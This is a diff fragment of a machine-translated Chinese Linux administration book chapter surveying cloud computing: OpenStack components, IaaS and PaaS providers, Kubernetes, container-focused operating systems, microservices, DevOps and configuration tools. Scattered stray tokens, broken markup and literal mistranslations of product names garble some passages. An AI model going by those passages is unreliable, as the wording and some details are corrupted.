- - b)**Cinder**:提供资源管理自助 API 的块存储服务; 它可以与**逻辑卷管理器**(**LVM**)一起使用。 - - c)**Manila**:一个服务,提供对共享文件系统的访问。 - -* **Networking**: - - a)**Neutron**:为虚拟计算环境提供**软件定义组网**(**SDN**)解决方案的组件 - - b)**Octavia**:一个组件,为裸金属服务器、容器或虚拟机提供随需应变的负载均衡解决方案 - - c)**指定**:一个组件,提供**域名系统**(**DNS**)服务 - -* **Shared services**: - - a)**楔石**: 组件提供 api 客户机身份验证、支持**轻量级目录访问协议(LDAP【显示】),**开放授权**(【病人】OAuth),OpenID 连接,**【t16.1】安全性断言标记语言(SAML****),** (**SQL**)** - - **b)**巴比肯**:一个密钥管理服务,用于安全存储、密码、证书和加密密钥管理** - - **c)**Glance**:存储和检索虚拟机镜像的镜像服务** - -*** **Orchestration**: - - a)**Heat**:基础设施资源调度的组件 - - b)**Senlin**:一种集群服务,旨在方便 OpenStack 内部类似对象的编排 - - c)**Zaqar**:为 web 和移动开发人员提供云消息服务的组件 - - * **Workload provisioning**: - - a)**Magnum**:使得 Docker Swarm、Kubernetes、Apache Mesos 等容器编排引擎在 OpenStack 上可用。 - - b)**Trove**:这个提供了关系和非关系数据库引擎。 - - c)**Sahara**:此提供 OpenStack 上的 Hadoop、Spark、Storm 等数据处理工具。** - - **之前提供的列表并不全面。 我们只列出了我们认为那些新加入 OpenStack 的人会感兴趣的组件。 关于每个模块的详细信息可以在[https://www.openstack.org/software/project-navigator/openstack-components#openstack-services](https://www.openstack.org/software/project-navigator/openstack-components#openstack-services)找到。 下图展示了 OpenStack 的各个组件以及它们之间的连接: - -![Figure 12.5 – The OpenStack map (image source: https://www.openstack.org/software/)](img/B13196_12_05.jpg) - -图 12.5 - OpenStack 映射(镜像来源:https://www.openstack.org/software/) - -在上图中,可以看到基金会提供的 OpenStack 服务的映射图。 这是一种直观的方式,可以查看整个 OpenStack 服务的情况,以及所提供服务之间的所有关系,并查看它们是如何组合在一起的。 - -因此,让我们总结一下 OpenStack 是如何工作的。 它使用 Linux 基础操作系统来运行一系列名为*的组件*的项目。 这些项目具有发送到操作系统的脚本,用于在虚拟化资源之上创建云环境。 OpenStack 主要用于创建 IaaS 解决方案。 您可以将其视为由创建整个堆栈的组件生成的 it 基础设施的软件版本。 在下一节中,我们将介绍一些 IaaS 解决方案。 - -# 介绍 IaaS 解决方案 - -IaaS 是云计算的骨干。 它提供对资源(如计算、存储、网络等)的随需应变访问。 CSP 使用管理程序提供 IaaS 解决方案。 在本节中,我们将为您提供一些最广泛使用的 IaaS 解决方案的信息。 我们将给你供应商的详细信息,如**Amazon Elastic Compute Cloud**(**Amazon EC2),微软 Azure 虚拟机,和**谷歌计算引擎**(【显示】**GCE)大玩家,和 DigitalOcean 作为一个可行的解决方案。**** - -## Amazon EC2 - -AWS 提供的 IaaS 解决方案被称为 Amazon EC2。 它为任何人提供了一个良好的基础架构解决方案,从低成本的计算实例到用于机器学习的高性能**图形处理单元**(**GPU**)。 12 年前,AWS 是 IaaS 解决方案的第一家提供商,即使在 COVID-19 大流行之后,AWS 的表现也比以往任何时候都好([https://www.zdnet.com/article/the-top-cloud-providers-of-2021-aws-microsoft-azure-google-cloud-hybrid-saas/](https://www.zdnet.com/article/the-top-cloud-providers-of-2021-aws-microsoft-azure-google-cloud-hybrid-saas/))。 - -当开始使用 Amazon EC2 时,需要完成几个步骤。 首先是选择您的**Amazon Machine Image**(**AMI**),它基本上是 Linux 或 Windows 的预配置映像。 当涉及到 Linux,你可以选择以下两种: - -* Amazon Linux 2(基于 CentOS/**Red Hat Enterprise Linux**(**RHEL**) -* RHEL 8 -* **SUSE Linux Enterprise Server**(**SLES**)15 SP2 -* Ubuntu Server 20.04**长期支持**(**LTS**) - -您将需要从非常广泛的种类中选择您的实例类型。 要了解更多关于 EC2 实例的信息,请访问[https://aws.amazon.com/ec2/instance-types/](https://aws.amazon.com/ec2/instance-types/)并了解每个实例的详细信息。 EC2,举例来说,是唯一的供应商,提供 Mac 实例,基于 Mac mini 与英特尔 i7 台**中央处理单元(cpu**【显示】),**超线程和 32 GB**(【病人】**GB)**随机存取存储器(RAM**【t16.1】)。 要使用 Linux,您可以根据需要从低端实例到高性能实例进行选择。********** - -Amazon 提供一个**弹性块存储**(**EBS**)选项,同时**固态驱动器**(**SSD**)和磁性介质可用。 您可以根据需要选择一个自定义值。 与其他选项相比,EC2 是一种灵活的解决方案。 它有一个易于使用和直观的界面,你只需要为你所使用的时间和资源付费。 在[*第 13 章*](13.html#_idTextAnchor239),*通过 AWS 和 Azure 部署到云*中,将提供一个如何在 EC2 上部署的示例。 - -## Microsoft Azure 虚拟机 - -微软是云市场的第二大玩家,仅次于亚马逊。 Azure 是他们云计算产品的名字。 尽管 Linux 是由 Microsoft 提供的,但它是 Azure 上使用最广泛的操作系统([https://www.zdnet.com/article/microsoft-developer-reveals-linux-is-now-more-used-on-azure-than-windows-server/](https://www.zdnet.com/article/microsoft-developer-reveals-linux-is-now-more-used-on-azure-than-windows-server/))。 - -Azure 的 IaaS 产品被称为虚拟机(Virtual Machines),与亚马逊的产品类似; 您可以在许多层之间进行选择。 微软产品的不同之处在于定价模式。 他们有一个量入为出的模型,或者一个基于预订的实例,使用时间为 1 到 3 年。 微软的界面与亚马逊的完全不同,在我们看来,它可能没有竞争对手的那么直接,但你会在一段时间后了解它。 - -微软提供了几种类型的虚拟机,从经济的易崩溃虚拟机到功能强大的内存优化实例。 现收现付模式提供每小时的费用,这可能会增加这些服务的最终账单,所以要根据自己的需要谨慎选择。 当涉及到 Linux 发行版时,您可以从以下版本中选择:CentOS 6、7 和 8; Debian 8、9 和 10; RHEL 6、7 和 8; SLES 用于 SAP 11、12 和 15; openSUSE 飞跃 15; 以及 Ubuntu Server 16、18 和 20。 - -Azure 也有一个非常强大的 SaaS 产品,如果您使用其他 Azure 服务,这个将是一个很好的选择。 在[*第 13 章*](13.html#_idTextAnchor239),*通过 AWS 和 Azure*部署到云中,将提供一个如何部署到 Azure 的例子。 - -## 其他强大的 IaaS 产品 - -**DigitalOcean**是云市场上另一个重要的参与者,提供强大的 IaaS 解决方案。 DigitalOcean 有一个非常简单直观的界面,它可以帮助你在很短的时间内创建一个云。 他们将 vm**液滴**和 y 液滴在几秒钟内产生。 您所要做的就是选择映像(Linux 发行版); 计划(基于您的**虚拟 CPU**(**vCPU**)、内存和磁盘空间需求); 添加存储块; 选择您的数据中心区域、身份验证方法(密码或**Secure Shell**(**SSH**)密钥)和主机名。 您还可以将液滴分配给您管理的某些项目。 - -与其他竞争对手相比,DigitalOcean 的界面更好看,用户友好得多。 以 DigitalOcean 为例,其他 IaaS 提供商(如 Linode 和 Hetzner 等)为创建虚拟服务器提供了一个苗条而友好的界面。 - -**Linode**是云市场上另一个强大的竞争对手,提供强大的解决方案。 它们的虚拟机称为 Linodes。 就易用性和外观而言,其界面介于 DigitalOcean 和 Azure 之间。 - -另一个强大的竞争者,至少在欧洲的市场,是**Hetzner**,一家总部位于德国的云服务提供商。 它们在资源和成本之间提供了很大的平衡,并提供了与本节中提到的其他解决方案类似的解决方案。 他们提供了一个类似于 DigitalOcean 的界面,非常容易探索,云实例将在几秒钟内部署。 - -与 DigitalOcean、Linode 和 Hetzner 的产品类似,亚马逊也推出了一款相对较新的产品(从 2017 年开始),名为**光帆**。 引入此服务的目的是为客户提供一种简单的方式,在云中部署**虚拟私有服务器**(**vps**)或虚拟机。 它的界面与竞争对手的界面相似,但是它的基础设施具有完全的可靠性。 - -Lightsail 提供了几个发行版,以及应用包。 在 AWS 上部署,使用 Lightsail,变得更加简单和直观。 它是一个有用的工具来吸引那些想要快速和安全的解决方案来交付他们的 web 应用的新用户。 - -还有其他可用的解决方案,如谷歌的解决方案,称为 GCE,它是来自**谷歌云平台**(**GCP**)的 IaaS 解决方案。 GCP 接口非常类似于 Azure 平台上的接口。 - -重要提示 - -使用 GCP 的一个有趣的方面是,当您想要删除一个项目时,操作不是立即进行的,并且删除计划在一个月的时间内进行。 如果删除不是有意的,并且您需要回滚项目,那么这可以被视为一个安全网。 - -如果你不喜欢主流厂商提供的 IaaS 平台,你可以使用**OpenStack**创建你自己的 IaaS。 在下一节中,我们将详细介绍一些 PaaS 解决方案。 - -# 介绍 PaaS 解决方案 - -PaaS 是云计算的另一种形式。 与 IaaS 相比,PaaS 提供了硬件层和应用层。 硬件和软件由 CSP 托管,不需要从客户端管理它们。 在大多数情况下,PaaS 解决方案的客户是应用开发人员。 - -提供 PaaS 解决方案的 csp 与提供 IaaS 解决方案的 csp 基本相同。 我们有亚马逊、微软和谷歌作为主要的 PaaS 提供商。 - -## 亚马逊弹力豆茎 - -Amazon 提供**Elastic Beanstalk**服务,其接口简单直观。 您可以创建一个示例应用或上传自己的应用,而 Beanstalk 将负责从部署细节到负载平衡、扩展和监视的其余工作。 选择要在其上部署的 AWS EC2 硬件实例。 接下来,我们将讨论另一个主要玩家的产品:谷歌 App Engine。 - -## 谷歌 App Engine - -谷歌的 PaaS 解决方案是**谷歌 App Engine**,这是一个完全管理的无服务器环境,使用起来相对容易,支持大量的编程语言。 谷歌 App Engine 是一个可伸缩的解决方案,具有自动安全更新、托管基础设施和监控功能。 云存储解决方案和支持所有主要的 web 编程语言,如 Go, Node.js, Python, . net,或 Java。 谷歌提供了有竞争力的价格和一个类似于我们在他们的 IaaS 产品中看到的界面。 另一个提供可靠产品的主要公司是 DigitalOcean,我们接下来会讨论这个问题。 - -## 数字海洋应用平台 - -DigitalOcean 以**App Platform**的形式提供 PaaS 解决方案。 它提供了一个直观的接口,一个与 GitHub 或 GitLab 存储库的直接连接,以及一个完全管理的基础设施。 DigitalOcean 与 Amazon 和谷歌等大公司处于同一级别,通过应用平台,它管理基础设施、供应、数据库、应用运行时和依赖关系,以及底层操作系统。 它支持流行的编程语言和框架,如 Python、Node.js、Django、Go、React、Ruby 等。 DigitalOcean 应用平台使用开放的云原生标准,具有自动代码分析、容器创建和编排功能。 这个解决方案的一个独特的能力是免费起始层,用于部署最多三个静态网站。 对于原型化动态 web 应用,有一个基本层,对于在市场上部署专业应用,有一个专业层可用。 DigitalOcean 的界面令人愉快,可能会吸引新来者。 他们的定价也是一个优势。 - -除了现成的解决方案提供商上市之前,有开源 PaaS 解决方案**提供云计算**,**Red Hat OpenShift**,**Heroku**,别人,在这一节中我们将不会细节。 然而,前面提到的中的三个至少值得做一个简短的介绍,所以在这里,它们将在下一节中详细介绍。 - -## Red Hat OpenShift - -**Red Hat OpenShift**是用于应用部署的容器平台。 它的基础是一个 Linux 发行版(RHEL),配有一个容器运行时和用于网络、注册、身份验证和监视的解决方案。 OpenShift 设计是可行的,混合 PaaS 解决方案总 Kubernetes 集成(Kubernetes 将简单地覆盖在下一节中,*引入中国农科院的解决方案,和更详细的[*第 14 章【显示】*](14.html#_idTextAnchor252),*与 Kubernetes*部署应用)。 OpenShift 利用收购 CoreOS 的机会,推出了一些独特的解决方案。 新的 CoreOS 构造容器平台将与 OpenShift 合并,为用户带来最好的两个世界。* - -## 云铸造 - -**Cloud Foundry**是一个云平台,设计为企业专用的 PaaS 解决方案。 它是开源的,可以部署在不同的基础设施上,从本地到 IaaS 提供商,如谷歌 GCP、Amazon AWS、Azure 或 OpenStack。 它提供了各种开发框架和云铸造认证平台的选择,如 Atos 云铸造、IBM 云铸造、SAP 云平台、SUSE 云应用平台和 VMware Tanzu。 - -## Heroku 平台 - -**Heroku**是一家 Salesforce 公司,该平台是作为创新的 PaaS 开发的。 它基于名为 Dynos 的容器系统,Dynos 使用由容器管理系统运行的基于 linux 的容器,设计初衷是为了可伸缩性和灵活性。 它提供了完全管理的数据服务,支持 Postgres、Redis、Apache Kafka 和 Heroku Runtime,后者是一个负责容器编排、伸缩和配置管理的组件。 Heroku 还支持大量的编程语言,如 Node.js、Ruby、Python、Go、Scala、Clojure 和 Java。 - -PaaS 为开发人员提供了许多解决方案,通过减轻管理基础设施的负担,帮助他们创建和部署应用。 到目前为止,您可能已经了解到,本节描述的许多解决方案都依赖于容器的使用。 这就是为什么在下一节中,我们将详细介绍 IaaS 的一个子集,称为 CaaS,在这里我们将向您介绍容器编排和专用于容器的操作系统。 - -# 介绍 CaaS 解决方案 - -CaaS 是 IaaS 云服务模型的一个子集。 它允许客户在提供者管理的基础设施之上使用单独的容器、集群和应用。 根据客户的需要,CaaS 既可以在本地使用,也可以在云中使用。 在 CaaS 模型中,容器引擎和业务流程由 CSP 提供和管理。 用户与容器的交互可以通过 API 或 web 界面来完成。 供应商使用的容器编排平台——主要是**Kubernetes**和**Docker**——非常重要,是不同解决方案之间的关键区别。 - -我们在[*第 11 章*](11.html#_idTextAnchor192),*中讨论了容器(和虚拟机)*中使用容器和虚拟机,没有给出任何关于编配或容器专用的微操作系统的详细信息。 现在我们将为您提供更多关于这些主题的细节。 - -## 介绍 Kubernetes 容器编排解决方案 - -Kubernetes 是谷歌开发的一个开源项目,用于容器化应用的自动部署和扩展。 它是用 Go 编程语言编写的。 Kubernetes*这个名字来自希腊语,它代表一艘船的舵手或船长。 Kubernetes 是一个自动化容器管理、基础设施抽象和服务监视的工具。* - -许多新来者将 Kubernetes 与 Docker 混淆,或者将 Docker 与 Kubernetes 混淆。 它们是互补的工具,每个都用于特定的目的。 Docker 创建了一个容器(就像一个盒子),你想在其中部署你的应用,Kubernetes 负责容器(或盒子),一旦应用被打包和部署。 Kubernetes 提供了一系列对运行容器至关重要的服务,例如服务发现和负载平衡、存储编排、自动备份和自修复以及隐私。 Kubernetes 体系结构由几个组件组成,任何管理员都必须了解这些组件。 我们将在下一节为您详细介绍它们。 - -### 介绍 Kubernetes 组件 - -当您运行 Kubernetes 时,您主要管理主机集群,这些主机通常是运行 Linux 的容器。 简而言之,这意味着当您运行 Kubernetes 时,您运行的是集群。 以下是 Kubernetes 中发现的基本组件列表: - -* 一个集群是 Kubernetes 的核心,因为它的唯一目的是管理大量的集群。 每个集群至少由一个控制平面和一个或多个节点组成,每个节点在 pods 中运行容器。 -* *控制平面*由控制节点的进程组成。 控制平面的组件列在这里:`kube-apiserver`是 API 服务器作为控制平面的前端; `etcd`是集群内所有数据的后备存储; `kube-scheduler`寻找没有指定节点的 pod,并将其连接到一个节点运行; `kube-controller-manager`运行控制器进程,包括节点控制器、复制控制器、端点控制器和令牌控制器; `cloud-controller-manager`是一个允许您将集群链接到云提供商 API 的工具; 它包括节点控制器、路由控制器和业务控制器。 -* *节点*是一个 VM 或者运行服务的物理机器,这些服务是豆荚所需要的。 节点组件在每个节点上运行,并负责维护运行的 pod。 这些组件是:`kube-proxy`,负责每个节点上的网络规则;`kubelet`,确保每个容器都在一个 Pod 中运行。 -* *Pods*是运行在集群中的不同容器的集合。 它们是工作负载的组件。 - -Kubernetes 集群非常复杂,难以掌握。 理解它的概念需要大量的实践和奉献。 不管它有多复杂,Kubernetes 不会为你做所有的事情。 您仍然需要选择容器运行时(支持的运行时是 Docker、`containerd`和**容器运行时接口**(**CRI-O**)、CI/CD 工具、存储解决方案、访问控制和应用服务。 下面是 Kubernetes 集群架构的示意图: - -![Figure 12.6 – Kubernetes cluster architecture](img/B13196_12_06.jpg) - -图 12.6 - Kubernetes 集群架构 - -管理 Kubernetes 集群超出了本章的范围,但您将在[*第 14 章*](14.html#_idTextAnchor252),*使用 Kubernetes 部署应用*中了解这一点。 这篇简短的介绍有助于您理解 Kubernetes 使用的概念和工具。 - -除了 Kubernetes,还有其他一些容器编排工具,如**Docker Swarm**,**Apache Mesos**,或者 HashiCorp 的**Nomad**。 他们是非常强大的工具,被世界各地的许多人使用。 我们不会在这里详细讨论这些,但是我们认为至少在容器编排部分的末尾列出它们会很有用。 在下一节中,我们将为您提供一些关于云中的容器解决方案的信息。 - -## 部署云容器****** - -### 亚马逊 ECS - -Amazon ECS 是一个用于编排容器的完全托管服务。 它提供了一个可选的、无服务器的解决方案(**AWS Fargate**),并由 Amazon 的一些关键服务在内部运行,这确保了工具经过测试,并且足够安全,任何人都可以使用。 它使用的容器运行时是 Docker。 Amazon 还提供了一个用于编排 Kubernetes 应用的 EKS 服务。 - -### Amazon EKS - -AmazonEKS 是一个用于容器编排的工具。 它基于**Amazon EKS 发行版**(**EKS- d**),是 Amazon 开发的 Kubernetes 发行版,基于原来的开源 Kubernetes。 通过使用 EKS-D,您可以在本地或 Amazon 自己的 EC2 实例上运行 Kubernetes,也可以在 VMware vSphere vm 上运行。 谷歌提供了另一个强大的解决方案,其 GKE 服务将在下一节中详细介绍。 - -### GKE - -GKE 提供了预构建的部署模板,可以根据 CPU 和内存的使用情况自动伸缩 Pod。 通过 GKE Sandbox 提供的增强的安全性,可以跨多个池进行扩展。 GKE 沙箱通过保护主机内核和运行的应用,提供了额外的安全层。 除了谷歌和 Amazon,微软还提供了一个强大的容器编排解决方案,即 AKS。 我们将在下一节中介绍它。 - -### Microsoft AKS - -AKS 是一个用于部署容器化应用集群的托管服务。 与其他提供商一样,微软通过处理资源维护和运行状况监视提供了一个完全管理的解决方案。 AKS 节点使用 Azure vm 运行和支持不同的操作系统,例如 Microsoft Windows Server 映像。 它还提供免费升级到最新的 Kubernetes 图像。 在其他解决方案中,AKS 提供了支持 gpu 的节点、存储容量支持,以及与微软自己的**Visual Studio Code**(**VS Code**)的特殊开发工具集成。 - -在了解了一些可用于在云中部署 Kubernetes 的解决方案并学习了 Kubernetes 的主要组件及其工作方式之后,在下一节中,我们将讨论专门用于云的最小操作系统。 Kubernetes 是其中一些操作系统的重要组成部分,因此在下一节中,我们将向您介绍微操作系统。 - -## 微操作系统的兴起 - -当使用容器将应用部署给用户时,我们需要底层操作系统尽可能精简。 在第 11 章[](11.html#_idTextAnchor192)**Working with Containers and Virtual Machines*中使用 Docker 时,你可能还记得 Ubuntu 操作系统的小尺寸。 对精简主机的需求促进了以容器为中心的、专门的和极简的操作系统的兴起。 这些被称为**微操作系统**。 最著名的专用微操作系统是 CoreOS、Atomic Host(过时的)、RancherOS 和 Ubuntu Core(以前叫 Ubuntu Snappy)。 CoreOS 被红帽收购,并逐步将 Atomic Host 从市场上淘汰。 最初,Atomic Host 是由 Fedora 开发的。 RancherOS 最近被 SUSE 收购,现在仍然保留其名称和结构。 这些最小化的和专门的操作系统中的每一个都被认为是操作系统的未来,具有新的不可变的体系结构和事务更新。* - - *### CoreOS (Fedora 和 RHEL)简介 - -**CoreOS**是第一个引入容器专用的 Linux 发行版,占用空间小,可以自动更新。 在红帽收购之后,一个新的专门版本的容器 Linux 出现了,名称为**红帽 CoreOS**。 这个新的发行版基于 Fedora 和 RHEL。 Red Hat CoreOS 现在是**Red Hat OpenShift 容器平台**的基础。 该平台的下一代是基于**CoreOS 构造**的,这是一个基于 Kubernetes 的全新全自动集装箱平台。 随着**Fedora CoreOS**和**Red Hat CoreOS**的兴起和构造的引入,CoreOS 的集群结构发生了变化,现在完全基于 Kubernetes。 - -Fedora CoreOS 两原子提供了什么是最好的主机和 Linux 容器,通过结合自动更新和提供工具支持**甲骨文云基础设施**(**OCI)和码头工人和**安全增强型 Linux**(**【显示】SELinux)安全。 - -### 简短概述 RancherOS - -**RancherOS**是生产中运行 Docker 容器的专用操作系统。 RancherOS 中的每个进程都是一个 Docker 容器,这使得系统非常轻量级,资源也很容易使用。 当系统初始化时,会启动两个主要的 Docker 实例。 一个叫做 System Docker,用于运行包含其他系统服务的专用 Docker 容器。 另一个实例叫做 Docker,运行在 System Docker 之上; 这被认为是一个管理用户容器的守护进程,它非常简单和直观。 一切都以 Linux 内核为基础运行。 下图展示了 RancherOS 的建筑结构: - -![Figure 12.7 – RancherOS architecture](img/B13196_12_07.jpg) - -图 12.7 - RancherOS 架构 - -**Fedora CoreOS**(**Red Hat CoreOS**)和 RancherOS 都是值得用于容器的专用操作系统。 还有一个孩子在 block 中:Ubuntu Core(以前称为 Snappy),我们将在下一节简要讨论。 - -### 简短概述 Ubuntu Core - -与之前提到的其他两个解决方案相比,**Ubuntu Core**是一个不同的怪兽。 它不是基于特定的基于容器的架构(例如 Docker),因为它最初是为了在物联网上运行而开发的,是基于 Canonical 内部开发的快照包。 它是一个精简版的 Ubuntu,使用只读文件系统、事务性更新和快照包。 由于 snaps 是自包含的,并且包含每个依赖项甚至文件系统,所以底层操作系统只需要运行最少的包。 它被设计成以一种安全可靠的方式部署和运行应用,这就是为什么整个操作系统是围绕 snaps 开发的。 甚至内核也被封装起来,并被视为一个快照。 除了内核快照,Ubuntu Core 中还有其他类型的快照。 有一个 gadget snap,用来管理系统属性; core snap,它提供执行环境; 应用快照,即运行在 Ubuntu Core 上的打包应用、守护程序和工具。 - -在本节中,专门讨论容器的专用最小操作系统,我们向您展示了三种不同的解决方案,每一种解决方案下面使用了不同的技术。 这三种产品都是非常强大的工具,非常适合它们的预期目的。 在下一节中,我们将讨论微服务在云计算中的重要性。 - -## 介绍微服务 - -**微服务**是应用交付中使用的架构风格。 随着时间的推移,应用交付从单一模型向分散模型发展,这都归功于云技术的发展。 从 2006 年 AWS 的历史性发布开始,接着是 2007 年 Heroku 和 2010 年 Vagrant 的发布,为了利用新的云产品,应用部署也开始发生变化。 应用从拥有单一的、大型的、单一的代码库转变为每个应用都能从不同的服务集中获益的模型。 这将使代码库更加轻量级,并且依赖于不同的服务。 例如,在下面的图中,我们比较了两个模型,一个单一应用和一个微服务架构: - -![Figure 12.8 – Monolithic versus microservices models for application deployment](img/B13196_12_08.jpg) - -图 12.8 -应用部署的整体与微服务模型 - -上部一侧前面的图是一个单一的应用模型,拥有所有的功能(圆【T1 的来信】,**D**)在一个过程中,代表整个应用。它是部署在多个服务器上通过简单的复制。 相比之下,在较低的一侧,我们有一个应用,它的功能(由从**A**到**D**的字母表示)被分为不同的服务。 然后,根据用户的需求,这些服务在不同的服务器上分布和扩展。 - -微服务体系结构具有基于模块的方法。 每个模块将对应于一个特定的服务。 服务彼此独立工作,并通过基于 HTTP 协议的 REST api 进行连接。 这意味着每个应用的功能都可以用不同的语言开发,这取决于哪一种语言更适合。 这种模块化基础还可以利用新的容器技术。 下面是另一张图,展示了微服务架构是如何工作的: - -![Figure 12.9 – Microservices architecture diagram](img/B13196_12_09.jpg) - -图 12.9 -微服务架构图 - -微服务体系结构以快速交付复杂应用而闻名。 它没有技术或语言局限; 对每个服务和组件提供独立的扩展和更新,不干扰其他正在运行的服务; 它有一个防故障的架构。 - -微服务模型可以通过将它们分解为独立的、模块化的服务来适应现有的单块应用。 不需要重写整个应用,只需要将整个代码库分成更小的部分。 - -微服务针对 DevOps 和 CI/CD 实践进行了优化,这要归功于它们的模块化方法。 在下一节中,我们将向您介绍 DevOps 实践和工具。 - -# DevOps 简介 - -**DevOps**是培养。 它的名字来自于开发和操作的结合,它设想了用于快速交付的实践和工具。 DevOps 是关于速度、敏捷性和时间的。 我们都知道“时间就是金钱”这句话,这在 IT 行业非常适用。 高速交付服务和应用的能力可以决定一个企业是否成功,还是在市场上无足轻重。 - -DevOps 是参与交付服务和应用的不同团队之间合作的模型。 这意味着整个生命周期,从开发和测试,到部署和管理,都是由在每个阶段都平等参与的团队完成的。 DevOps 模型假设没有团队是在一个封闭的环境中运行的,而是以一种透明的方式运行,以实现成功所需的敏捷性。 还有一种不同的 DevOps 模型,在这种模型中,安全性和质量保证团队同样参与到开发周期中。 它被称为 DevSecOps。 - -DevOps 模型的关键是使用特定工具创建的自动化流程。 这种敏捷和速度的观念决定了一个与 DevOps 相关的新名称的兴起,那就是 CI/CD。 CI/CD 模式确保每个开发步骤都是连续的,没有中断。 为了支持这种心态,出现了新的自动化工具。 也许最广为人知的是詹金斯。 - -Jenkins**可能是最流行的开源自动化工具。 它是一个模块化的工具,可以通过使用插件进行扩展。 围绕应用的生态系统相当大,有数百个插件可供选择。 Jenkins 是用 Java 编写的,旨在自动化软件开发过程,从构建、测试到交付。 Jenkins 的资产之一是通过使用专门的插件创建管道的能力。 管道是一种将 CD 支持作为自动化流程添加到应用生命周期的工具。 Jenkins 既可以在本地使用,也可以在云中使用。 它也是一个可用作 SaaS 产品的可行解决方案。** - - **DevOps 的理念不仅与应用部署有关。 健康的 CD 和 CI 与基础设施的状态密切相关。 这就是为什么基础设施级别的配置和管理是极其重要的。 在下一节中,您将了解云基础设施管理以及 IaaC 是什么。 - -# 云管理工具介绍 - -当今的软件的开发和部署依赖于大量的物理系统和虚拟机。 管理开发、测试和生产的所有相关环境是一项乏味的任务,涉及到自动化工具的使用。 最广泛使用的云基础设施管理解决方案是 Ansible、Puppet 和 Chef Infra 等工具。 所有这些配置管理工具都是强大的和可靠的,我们将保留[*第 15 章*](15.html#_idTextAnchor268),*基础设施和自动化 Ansible*,教你如何只使用其中的一个:Ansible。 尽管如此,我们将在本节简要介绍所有这些方法。** - -**Ansible 是一个开放源代码的项目,目前由 Red Hat 所有。 它被认为是一种简单的自动化工具,用于各种操作,如应用部署、配置管理、云供应和服务编排。 它是在 Python 和开发使用的概念**节点定义类别的系统,与**控制节点【显示】主机运行 Ansible,**和不同的托管节点【病人】其他机器,由主控制。 所有节点都通过 SSH 连接,并通过一个名为**Ansible 模块**的应用进行控制。 每个模块在托管节点上都有一个特定的任务要执行,当任务完成时,它们将从该节点中删除。 模块的使用方式由**Ansible 剧本**决定。 剧本是用**YAML**(**YAML Ain’t Markup Language**的递归缩写)编写的,这是一种主要用于配置文件的语言。 Ansible 还使用了**库存**的概念,其中保存了被管理节点的列表。 在节点上运行命令时,您可以基于库存中的列表,基于**模式**应用它们。 Ansible 将在特定模式下可用的每个节点或节点组上应用这些命令。 Ansible 被认为是最简单的自动化工具之一。 它支持 Linux/Unix 和客户机的 Windows,但主机必须是 Linux/Unix。******** - -Puppet 是可用的最古老的自动化工具之一。 Puppet 的架构与 Ansible 不同。 它使用了**主服务器**和**代理**的概念。 Puppet 与专用于 Puppet 的基础架构代码一起工作,这些代码使用**领域特定语言**(**DSL**)代码编写,基于 Ruby 编程语言。 代码是在主服务器上编写的,然后传输给代理,然后转换成在您想要管理的系统上执行的命令。 Puppet 还有一个名为**Facter**的库存工具,该工具存储关于代理的数据,如主机名、IP 地址和操作系统。 存储的信息以**清单**的形式发送回主服务器,然后将被转换为一个名为**目录**的 JSON 文档。 所有清单都保存在**模块**中,这些模块是用于特定任务的工具。 每个模块都包含代码和数据形式的信息。 这些数据由一个名为**Hiera**的工具集中管理。 Puppet 生成的所有数据都存储在数据库中,并由需要管理它的每个应用通过 api 进行管理。 与 Ansible 相比,Puppet 似乎要复杂得多。 Puppet 的主服务器只支持 Linux/Unix。 - -**Chef Infra**是另一个自动化工具。 它使用客户机-服务器架构。 主要的组件是**Chef Server**、**Chef Client**和**Chef Workstation**。 它使用了的概念**烹饪书**和**食谱**。 Chef 工作站管理用于基础设施管理的烹饪书。 Chef Server 类似于处理所有配置数据的集线器。 它主要用于将烹饪书上传到 Chef Client, Chef Client 是一个应用,它安装在您管理的基础设施中的每个节点上。 Chef Infra 使用与 Puppet 相似的基于 ruby 的代码,称为 DSL。 服务器需要安装在 Linux/Unix 上,客户端也支持 Windows。 - -本节中介绍的所有自动化和配置工具都使用不同的体系结构,但都做相同的事情,即提供一个抽象层来定义所需的基础设施状态。 每种工具都是不同的野兽,有自己的优点和缺点。 Chef Infra 和 Puppet 的基于 Ruby/ dsl 的代码学习曲线可能更陡峭,而 Ansible 可能更容易接近,因为它的架构更简单,使用的是 Python 编程语言。 尽管如此,使用任何一种都不会出错。 - -# 总结 - -在本章中,我们通过向您展示一些最重要的概念、工具和使用的解决方案向您介绍了云计算。 这应该足以让您开始学习云技术。 这门学科非常庞大,复杂,令人生畏。 - -我们讨论了云标准,这是一个很重要但却常常被忽视的话题,还讨论了主要的云类型和服务。 现在,您已经了解了每种服务解决方案的含义以及它们之间的主要区别。 您知道最重要的解决方案是什么,以及该领域的主要参与者:Amazon、谷歌和 Microsoft 是如何提供这些解决方案的。 我们向您介绍了使用 Kubernetes 进行容器编排,您知道什么是 OpenStack 以及它是如何工作的。 您了解了 api 和最小容器专用操作系统,以及 DevOps 文化、微服务和基础设施自动化工具。 您在本章中学到了很多东西,但请记住,所有这些主题只是云计算的皮毛。 在下一章中,我们将向您介绍云部署的更实际的一面。 您将学习如何在 AWS 和 Azure 等主要云上部署 Linux。 - -# 进一步阅读 - -如果你想了解更多关于云技术的内容,请查看以下标题: - -* *OpenStack 建筑师-第二版*,*本·西尔弗曼*,*迈克尔•索伯格**Packt 出版*(【显示】https://www.packtpub.com/product/openstack-for-architects-second-edition/9781788624510) -* *Learning DevOps*,*Mikael krif*,*Packt Publishing*([https://www.packtpub.com/product/learning-devops/9781838642730](https://www.packtpub.com/product/learning-devops/9781838642730)) -* *Kubernetes 手操作微服务*,*Gigi Sayfan*,*Packt Publishing*([https://www.packtpub.com/product/hands-on-microservices-with-kubernetes/9781789805468](https://www.packtpub.com/product/hands-on-microservices-with-kubernetes/9781789805468))*************** - -**可以在云中使用集装箱编配解决方案,和产品,如亚马逊弹性容器服务**(****ECS),**亚马逊弹性 Kubernetes 服务**(**的【显示】),**谷歌 Kubernetes 引擎**(**GKE【病人】), 和**Azure Kubernetes 服务**(**AKS**)是必不可少的。************* \ No newline at end of file diff --git a/docs/master-linux-admin/13.md b/docs/master-linux-admin/13.md deleted file mode 100644 index 11c6078c..00000000 --- a/docs/master-linux-admin/13.md +++ /dev/null @@ -1,1515 +0,0 @@ -# 十三、使用 AWS 和 Azure 部署到云 - -近年来,我们看到了从本地计算平台到私有和公共云的重大转变。 在一个不断变化和加速的世界中,在高度可伸缩、高效和安全的基础设施中部署和运行应用对各地的企业和组织都至关重要。 另一方面,与当前的公共云产品相比,维护本地计算资源同等级别的安全性和性能所需的成本和专业知识几乎不合理。 